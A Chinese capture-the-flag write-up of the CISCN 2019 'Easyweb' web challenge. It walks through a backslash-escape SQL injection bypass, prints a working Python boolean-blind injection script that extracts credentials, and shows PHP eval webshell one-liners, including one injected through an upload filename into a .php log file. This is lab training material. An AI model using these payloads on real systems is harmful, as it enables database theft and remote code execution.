CISCN2019总决赛Day2Web1-Easyweb
Created At :
Count:940
Views 👀 :
CISCN2019总决赛Day2Web1-Easyweb
首先启动靶机访问,上来就是一个登录界面

一开始看到这个界面以为又是xxe,然后抓了个包发现不是,用dirsearch扫一下发现存在robots.txt
访问一下

很明显要我们去下载源码
试了一下index.php、user.php、image.php,发现只有image.php能下载
1
| http://1d9b702f-7081-49e6-a523-34c308217272.node5.buuoj.cn:81/image.php.bak
|
下载下来之后代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id); $path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
|
发现sql执行语句,猜测存在sql注入
传入两个参数,经过一系列过滤后进行sql查询,我们注意到最后有个 readfile() 函数,尝试构造闭合,但是单引号被过滤了,这里就可以采用 \ 转义字符来进行绕过。
如果最后传入的 id 值为 \ ,那么sql语句就为:
1
| select * from images where id = '\' or path = '';
|
这里的\将第二个单引号给转义掉了,那么第一个单引号就会找第三个单引号闭合,然后我们就可以在path的值里进行布尔盲注
我们可以传入
因为当我们传入的id的值 \0 后,他会先经过addslashes() 函数,出来后的 id 值就变成了 \\0 ,那么在str_replace() 函数中,\0会被换空,最终到sql 语句中就变成了
然后就能构造python脚本了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests url = 'http://a207ac0d-bb73-4659-b0b5-728248675810.node4.buuoj.cn:81/image.php' flag = '' payload1 = "?id=\\0& path=or(ord(substr((select(database())),{},1))>{})%23" payload2 = "?id=\\0& path=or(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})%23" payload3 = "?id=\\0& path=or(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),{},1))>{})%23" payload4 = "?id=\\0& path=or(ord(substr((select(group_concat(username,password))from(users)),{},1))>{})%23" for i in range(1,1000): low = 32 high = 128 mid = (low + high)//2 while(low<high): payload = payload4.format(i,mid) new_url= url+payload r= requests.get(new_url) if "JFIF" in r.text: low=mid+1 else: high=mid mid = (low+high)//2 if (mid == 32 or mid == 128): break flag +=chr(mid) print(flag) print(flag)
|
成功跑出账号密码,之后登录
1 2
| admin 4d656169a6437ad3f073
|
登录成功之后发现是一个文件上传页面

直接上传php文件,发现上传失败,但是可以上传phtml文件
同时文件中不允许存在php,所以可以使用短标签绕过,试了一下用<script language='php'>@eval($_POST[1]);</script>也可以
1 2 3
| <?= @eval($_POST[1]); ?> 或者 GIF89a <script language='php'>@eval($_POST[1]);</script>
|
然后返回给我们文件上传路径
1
| logs/upload.05571ffc0f0ba134f932c75082af160e.log.php
|
但是发现蚁剑无法连接
我们直接访问一下logs/upload.05571ffc0f0ba134f932c75082af160e.log.php看看,发现

并没有文件内容,只有用户名和文件名在里面。所以文件名才是传马的重点,内容无所谓
查看大佬题解
读upload.php源码,不能上传php文件,file_put_contents可以把字符串写到文件中去,这个字符串包含了文件名
所以我们可以使用用文件名写马 进行连接
先上传,然后抓包,修改filename
1 2
| filename改为 <?=@eval($_POST[1]);?>
|
文件上传路径
1
| logs/upload.05571ffc0f0ba134f932c75082af160e.log.php
|
然后用蚁剑连接即可拿到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。